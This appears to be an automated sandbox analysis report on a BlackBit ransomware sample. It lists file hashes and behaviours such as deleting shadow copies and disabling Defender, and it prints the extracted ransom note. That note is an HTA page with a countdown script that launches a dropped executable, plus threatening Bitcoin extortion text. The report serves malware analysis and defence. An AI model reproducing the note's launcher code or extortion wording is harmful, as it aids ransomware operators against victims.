General

  • Target

    BlackBit.bin

  • Size

    499KB

  • Sample

    230610-t8fdqsga71

  • MD5

    7ef84720d7b30286bff9483fe53bba62

  • SHA1

    b8dbb845cc37fa555d5a3f52e4bbb76aa2be0933

  • SHA256

    9763da5ee688a2391599a22638a84cbc7f99e32cd6865eac4621cc427f6c3a63

  • SHA512

    3dde93035b9824256613ba4d93cafa9f43c037953d26ca9390bbda8feca477c0fe149bee4730362cee3b0b2d89ca825bba7243d43665adc8c5272863a33f718e

  • SSDEEP

    12288:Dh1Lk70Tnvjcg27dWy1fX6qOLzvkLek4v+KXdPeA:fk70TrcbT56qOHv31PJv

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
<html><head> <title>BLACKBIT</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><script>var countDownDate = new Date(2023,6,10,16,44,39).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false); } }, 1000);</script><body> <div class="header"> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK8AAAAaCAMAAAD2S/yBAAAApVBMVEUAAAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD/AAD+AAD+AAD+AAD+AAD+AAD/AAD+AAD/AAD+AAD+AAD/AAD/AAD+AAD+AAD/AAD+AAD/AAD+AAD+AAD+AAD+AAD/AAD9AAD+AAD+AAD+AAD9AAD+AAD+AAD+AAD+AAD/AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD+AAD/AABnlV0xAAAANnRSTlMA/vyzvu05CflgGgfx4EUUXIg19SIxdCsN6T3PqeZmEVfZoh4YxpZRJcyxjIFurJzjuY97TkJTP9VxAAAENUlEQVRYw7WX2ZqiMBCFIYCgIi6MDbgAKtruy9jW+z/anLDTbYSZzzkXAkkl/iEnSSHF6vQMw/BaS/7rbD1c1rr0b+rGkv6zJtPp9PEhE7FQ3xHXJq2JFEUJnrbxUXN2v/WjXOdcvc0qK0LUOLuPzoqyH5UbWEqhmZ/15s4U5YHrSvkuKYuwrLYRYx4I8mQWJhW/8NR5yntFDfuqvNsjo0xmViMTWeltf4cWR6msNpXVG6eBGtEAV4e+K/+rG3Ht9JDxS2dNpvOadyITNCsXHWQqZH995+0qybyJeUlrNeNFSA9P89VW47jBr06Pdu5L3guRQeS5JYMAzfz45DrYuHWqvN0lkXyWfvCah2EihRFdgzJvlFSgIaVBRcvWcrm0pBN+N9FKa7dsurziDeZEv02iMC9x8aRl5uTTpFR5h7hT9Z+8vXx13hHhF7wFGgb6fP1vR6Px2HGlmT1qM9l/wfuQyVjBRLe8xGEkt/OnI9P2epn3hJupK73i1Rd4j3/D62gELQIpWCyC36Q5Yl7YYS2FMtl55ZgRGxVvexJU/Dsw0DFixbzQFHP2F7x8K0t955h7d00LV8Srm3zq+jZ+n/NCZd4JIj1Hei/vhSCWzOlZvmPNDUS8nxgXttg9LNmEd6zF3n4vb5sRtEx4GNmT1lnoBwV2SLDtqJ4XIyfDkup4RzbRvTGvYxI0dfN7byVcbx3Un7hLPVxredtTDGsgCXjno3Gi0EPYtimvuyBIi+P1aeyMkZA3JDL6sW0wwlpeA32dJBEvsVRyHNaUt7MuzLshituKeAvffskkO3W8xKNFvBUt3Ka87YE+I9qUjDwTn8eBkfUXwBjHBrzMF/IyM5XB/7Qh78hgQ3eYZJEdLXZGX8zrozpdZksYolvDe1rE6YRovemlGZYfjXj7CxQpbjIb3T1B7FPMuyvONQv23NbtD1sPwPX7Q4SwYSPeM0GGVeQ+8fYg4t3ybKaX6Ir6Ye3+2zL5cfG2/ReZOooOhTvsJLkU8J6oql79+WbZAN6+iXcS462LdtKQuO4C3jUfXS48TH7y6o5b8HIwnj9Eb+GNrsSlziBfOuD3PKcX58UvRnRqZXpo6bbiMO75Ije8nov8LJ3DXfCSt9soP9NvlEvrtGVKZT8E/r1jKEEl6+jp6dZ2zab8C2O6VfPfQ23+6zfKf7fH43FNsVj4S6NMx3x/OH7kmuAt9Ij2ZTehXSt7g157wvXx7PtixvfX7g9e7Z72vcQY50EdrxOGYSuxBDD2lEmVUt6KhliMLO6sEMxziYEuNd9vt9rvN8xpDe9qzsOslsndsPKLNR+JeIeId6WSNmjZjYE2jDJ5n0++j6c138dzRNbwKgaX5wwMww5XnpHKnmSHjlqRD7+q6rB6NqJ8lJ4eqmZyzS+55/NKKFJU9Zb2nDUopNz7We61V1WrCHJQmfroD4WF/RlB+MnGAAAAAElFTkSuQmCC"> <h1 id="t">All your files have been encrypted by BLACKBIT!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br></div><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">42C0FC57</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body></html>
Emails

class="m">[email protected]</span>

class="m">[email protected]</span>

URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
All your files have been encrypted by BLACKBIT! All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send an email [email protected] You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. After payment we will send you the decryption tool. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . In case of no answer in 24 hours (1 Day) write to this email [email protected] Your unique ID is : 42C0FC57 You only have LIMITED time to get back your files! If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED. You will lose some of your data on day 2 in the timer. You can buy more time for pay. Just email us. THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) What is our decryption guarantee? Before paying you can send us up to for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT pay any money before decrypting the test files. DO NOT trust any intermediary. they wont help you and you may be victim of scam. just email us , we help you in any steps. DO NOT reply to other emails. ONLY this two emails can help you. Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Targets

    • Target

      BlackBit.bin

    • Size

      499KB

    • MD5

      7ef84720d7b30286bff9483fe53bba62

    • SHA1

      b8dbb845cc37fa555d5a3f52e4bbb76aa2be0933

    • SHA256

      9763da5ee688a2391599a22638a84cbc7f99e32cd6865eac4621cc427f6c3a63

    • SHA512

      3dde93035b9824256613ba4d93cafa9f43c037953d26ca9390bbda8feca477c0fe149bee4730362cee3b0b2d89ca825bba7243d43665adc8c5272863a33f718e

    • SSDEEP

      12288:Dh1Lk70Tnvjcg27dWy1fX6qOLzvkLek4v+KXdPeA:fk70TrcbT56qOHv31PJv

    • Modifies Windows Defender Real-time Protection settings

    • Deletes shadow copies

      Ransomware often targets backup files to inhibit system recovery.

    • Disables Task Manager via registry modification

    • Modifies Windows Firewall

    • Modifies extensions of user files

      Ransomware generally changes the extension on encrypted files.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Drops desktop.ini file(s)

    • Sets desktop wallpaper using registry

MITRE ATT&CK Enterprise v6

Tasks